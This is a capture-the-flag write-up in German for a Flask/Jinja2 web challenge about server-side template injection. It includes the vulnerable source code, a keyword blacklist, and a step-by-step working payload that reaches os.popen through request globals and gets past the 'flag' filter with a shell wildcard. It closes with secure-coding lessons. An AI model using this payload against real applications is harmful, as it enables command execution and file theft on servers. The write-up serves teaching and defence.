4.9 KiB
Render Me This
Willkommen zum Write-up für Render Me This. Diese Challenge fällt in die Kategorie "Web" und demonstriert eine schwerwiegende Schwachstelle in modernen Web-Frameworks, bekannt als Server-Side Template Injection (SSTI).
Uns wird eine "Profile Viewer"-Anwendung präsentiert, die den Namen eines Benutzers entgegennimmt und eine benutzerdefinierte Begrüßung rendert. Unser Ziel ist es, die Rendering-Engine auszunutzen, um die Flagge vom Server zu lesen.
1. Erste Erkundung
Die Challenge stellt uns eine URL und den Quellcode zur Verfügung. Wenn wir die Seite besuchen, sehen wir eine einfache Seite, die "Guest" begrüßt.
Die URL sieht wahrscheinlich so aus:
http://challenge-url/?name=Guest
Wenn wir den Parameter name zu Test ändern, aktualisiert sich die Seite zu "Hello, Test!". Dies bestätigt, dass unsere Eingabe auf der Seite reflektiert wird.
2. Quellcode-Analyse
Untersuchen wir die bereitgestellte app.py, um zu verstehen, wie die Seite generiert wird.
@app.route('/')
def index():
# Get the 'name' parameter
name = request.args.get('name', 'Guest')
# 1. Check for Blacklisted words
for bad_word in BLACKLIST:
if bad_word in name.lower():
return "Hacker detected! ..."
# 2. Vulnerable Template Construction
template = f'''
...
<h1>Hello, {name}!</h1>
...
'''
# Render the template
return render_template_string(template)
Die Schwachstelle: SSTI
Der kritische Fehler liegt darin, wie der template-String konstruiert wird. Der Entwickler verwendet einen Python f-String (f'''... {name} ...'''), um die Benutzereingabe direkt in den Template-Quellcode einzufügen, bevor er ihn an render_template_string übergibt.
In Flask (Jinja2) wird {{ ... }} verwendet, um Code innerhalb eines Templates auszuführen. Durch Injizieren von {{ 7*7 }} können wir den Server bitten, 7*7 zu berechnen. Wenn die Seite "49" anzeigt, haben wir Codeausführung.
Das Hindernis: Die Blacklist
Die Anwendung versucht, sich mit einer Blacklist zu sichern:
BLACKLIST = ["config", "self", "flag"]
Das bedeutet, wir können nicht die Standard-SSTI-Payloads wie {{ config }} oder {{ self.__dict__ }} verwenden. Wir können auch nicht einfach cat flag.txt ausführen, weil das Wort "flag" verboten ist.
3. Entwicklung des Exploits
Wir müssen einen Weg finden, auf das Python os-Modul zuzugreifen, um Systembefehle auszuführen, ohne die gesperrten Wörter zu verwenden.
In Python-Web-Frameworks wie Flask ist das request-Objekt oft im Template-Kontext verfügbar. Über request können wir die Python-Objekthierarchie durchlaufen, um den globalen Geltungsbereich zu erreichen und Module zu importieren.
Schritt 1: Zugriff auf Built-ins
Wir können das request-Objekt verwenden, um auf den globalen Geltungsbereich zuzugreifen:
request.application.__globals__
Von dort aus können wir auf die eingebauten Funktionen von Python zugreifen:
request.application.__globals__.__builtins__
Schritt 2: Importieren von OS
Jetzt können wir die __import__-Funktion verwenden, um das os-Modul zu laden:
request.application.__globals__.__builtins__.__import__('os')
Schritt 3: Ausführen von Befehlen
Mit dem os-Modul können wir popen verwenden, um Shell-Befehle auszuführen, und read, um die Ausgabe zu erhalten:
.popen('ls').read()
Schritt 4: Umgehung des "flag"-Filters
Wenn wir versuchen, cat flag.txt auszuführen, blockiert uns die Anwendung, weil es "flag" enthält.
Wir können dies mit Shell-Wildcards umgehen. Statt flag.txt können wir fl* sagen.
cat fl* passt auf flag.txt, enthält aber nicht den verbotenen String "flag".
4. Der finale Payload
Alles zusammen sieht unser Payload so aus:
{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}
Wir müssen diesen Payload URL-kodieren, bevor wir ihn an den Server senden.
Kodierte URL:
?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D
5. Die Lösung
Das Senden des Payloads an den Server führt den Befehl aus, liest die Flaggen-Datei und rendert das Ergebnis auf der Seite.
Flag: {flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}
Gelernte Lektionen
- Kontext ist wichtig: Verketten Sie niemals Benutzereingaben direkt in einen Template-String.
- Verwenden Sie das Framework korrekt: Übergeben Sie Daten immer als Kontextvariablen an die Render-Funktion.
- Verwundbar:
render_template_string(f"Hello {name}") - Sicher:
render_template_string("Hello {{ name }}", name=user_input)
- Verwundbar:
- Blacklists versagen: Der Versuch, bestimmte Wörter ("flag", "config") zu blockieren, ist selten effektiv. Hacker können fast immer einen Weg finden, sie zu umgehen (z.B. String-Verkettung, Kodierung, Wildcards).
Frohes Hacken!